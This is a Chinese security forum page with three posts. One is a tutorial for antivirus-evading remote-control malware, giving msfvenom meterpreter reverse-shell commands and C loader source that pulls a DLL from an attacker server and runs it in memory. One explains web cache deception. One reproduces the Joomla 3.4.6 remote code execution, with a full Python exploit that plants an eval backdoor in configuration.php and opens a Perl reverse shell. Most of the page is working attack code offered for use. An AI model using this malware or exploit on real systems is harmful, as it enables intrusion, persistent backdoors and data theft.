利用反射DLL制作免杀远控

wuyou 发表了文章 • 0 个评论 • 663 次浏览 • 2020-02-06 20:46 • 来自相关话题

什么是DLL
百度词条:




简而言之:DLL是帮助程序实现模块化的资源库,我们在打开exe程序时,会调用很多的DLL,以此来实现程序的全部功能
举个例子:使用进程监视器监控C:\Windows\System32\WinSAT.exe的启动过程:




 
DLL劫持
如果我们将系统自带的exe所需调用的DLL替换为我们自己的恶意DLL,或注入恶意代码,就可以实现许多有趣的效果
例如,替换掉explorer.exe(资源管理器)的linkinfo.dll,我们就可以实现持久化控制(开机自启)
再比如,替换掉WinSAT.exe这类权限自动提升的exe所需调用的DLL,就可以实现BypassUAC
而且,如果防守方察觉到目标被控制,查看进程时也只会看到一堆系统自带的exe,而不会出现真实的恶意资源(这就是进程注入或DLL注入的效果)
 
反射DLL
Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。
接下来拓展一下思维,可不可以将具有恶意Payload的远控DLL放在我们的远控服务器上,当目标执行我们的无恶意Payload的exe时,自动获取服务器上的恶意DLL,并直接加载入内存中执行
这样就可以实现无文件落地,无进程执行的效果
 
制作远控程序
这里采用倾旋的制作方法:
生成一个恶意DLL:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8899 -f dll -o ~/a.dll用msf开启后台监听上线msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.107 -P 8899开启msf的dll发射器msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
msf5 exploit(multi/handler) > set lport 8080
msf5 exploit(multi/handler) > set dll a.dll
msf5 exploit(multi/handler) > exploit -j
然后开始制作接受器:
打开Visual Studio(我的版本是2019,版本无所谓),并创建一个空项目




将MemoryModule项目中的MemoryModule.c和MemoryModule.h项目保存到本地




在项目中添加上面的两个文件,并新建source.c文件




编辑source.c文件,替换IP和端口为你设置的(原作者在源码的第7行埋了坑,定义错了payload_size的大小,如果不修复,程序无法执行,下面的代码为修复过的)
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*5120
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8080;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}编辑项目属性,修改附加包含目录为你存放MemoryModule.h的目录,并修改SDL检测为否




以64位平台生成程序








运行生成的exe




V站查杀效果




  查看全部
什么是DLL
百度词条:
1.jpg

简而言之:DLL是帮助程序实现模块化的资源库,我们在打开exe程序时,会调用很多的DLL,以此来实现程序的全部功能
举个例子:使用进程监视器监控C:\Windows\System32\WinSAT.exe的启动过程:
22.jpg

 
DLL劫持
如果我们将系统自带的exe所需调用的DLL替换为我们自己的恶意DLL,或注入恶意代码,就可以实现许多有趣的效果
例如,替换掉explorer.exe(资源管理器)的linkinfo.dll,我们就可以实现持久化控制(开机自启)
再比如,替换掉WinSAT.exe这类权限自动提升的exe所需调用的DLL,就可以实现BypassUAC
而且,如果防守方察觉到目标被控制,查看进程时也只会看到一堆系统自带的exe,而不会出现真实的恶意资源(这就是进程注入或DLL注入的效果)
 
反射DLL
Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。
接下来拓展一下思维,可不可以将具有恶意Payload的远控DLL放在我们的远控服务器上,当目标执行我们的无恶意Payload的exe时,自动获取服务器上的恶意DLL,并直接加载入内存中执行
这样就可以实现无文件落地,无进程执行的效果
 
制作远控程序
这里采用倾旋的制作方法
生成一个恶意DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=8899 -f dll -o ~/a.dll
用msf开启后台监听上线
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.107 -P 8899
开启msf的dll发射器
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
msf5 exploit(multi/handler) > set lport 8080
msf5 exploit(multi/handler) > set dll a.dll
msf5 exploit(multi/handler) > exploit -j

然后开始制作接受器:
打开Visual Studio(我的版本是2019,版本无所谓),并创建一个空项目
44.jpg

MemoryModule项目中的MemoryModule.cMemoryModule.h项目保存到本地
55.jpg

在项目中添加上面的两个文件,并新建source.c文件
66.jpg

编辑source.c文件,替换IP和端口为你设置的(原作者在源码的第7行埋了坑,定义错了payload_size的大小,如果不修复,程序无法执行,下面的代码为修复过的)

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*5120
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8080;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}
编辑项目属性,修改附加包含目录为你存放MemoryModule.h的目录,并修改SDL检测为否
77.jpg

以64位平台生成程序
88.jpg

99.jpg

运行生成的exe
1010.jpg

V站查杀效果

12.jpg

 

web缓存欺骗

Web安全渗透heyha 发表了文章 • 0 个评论 • 264 次浏览 • 2020-01-08 15:59 • 来自相关话题

介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示











两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css





 
访问到了其他用户的数据
 
漏洞危害及利用 
      访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。
 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
  查看全部
介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示

11111.png


22222.png


两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css

33333.png

 
访问到了其他用户的数据
 
漏洞危害及利用 
      
访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。

 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
 

Joomla 3.4.6远程代码执行(RCE)漏洞复现

Web安全渗透input 发表了文章 • 0 个评论 • 266 次浏览 • 2020-01-03 10:42 • 来自相关话题

一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。





 
安装成功后的界面如图





 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在





 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口





 
进入configration.php 查看一句木马是否插入成功





 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl





 
连接成功 查看全部
一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。

3.png

 
安装成功后的界面如图

1.png

 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
